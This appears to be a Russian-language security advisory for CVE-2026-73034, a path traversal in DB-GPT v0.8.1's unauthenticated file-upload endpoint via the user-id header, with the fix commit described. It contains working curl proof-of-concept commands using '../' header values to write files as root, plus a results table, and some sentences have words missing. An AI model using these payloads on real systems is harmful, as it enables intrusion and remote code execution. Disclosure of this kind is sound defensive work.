
CVE-2026-73034 — DB-GPT v0.8.1: обход пути без аутентификации → произвольная запись файлов от имени root через заголовок user-id. Подтверждено + diff исправления
CVSS 9.8 (Критический) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload в DB-GPT v0.8.1 принимает HTTP-заголовок user-id и использует его напрямую как компонент пути:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
Аутентификации нет — если заголовок отсутствует, приложение использует user_id="001" с role="admin". Внедрение последовательностей ../ в позволяет выйти за пределы корневой директории загрузок и даёт , доступные для записи процессу контейнера (root) → прямой путь к RCE (-файлы в веб-корне, cron-задания, , …).
user-id.pyauthorized_keysЗатронуто: DB-GPT ≤ v0.8.1
Исправлено: v0.8.2+ — коммит e0c741bd2b5e521b128cffb3f68982dde3f7b359 (добавляет белый список _SAFE_USER_ID_RE с шаблоном ^[A-Za-z0-9_\-]+$, проверки нахождения в пределах директории загрузок и повторную проверку символических ссылок для устранения TOCTOU).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Примечание: FastAPI сопоставляет параметр user_id с HTTP-заголовком user-id (дефис, а не подчёркивание).
| Тест | Результат |
|---|---|
Контрольная загрузка (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Эксплойт user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt ЗАПИСАН (root) |
Эксплойт user-id: ../../../../root | ✅ /root/pwned_root.txt ЗАПИСАН |
| Исправленная сборка (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Полный скрипт: poc_cve-2026-73034.sh (запускает оба эксплойта + проверку внутри контейнера + сравнение с исправленной сборкой).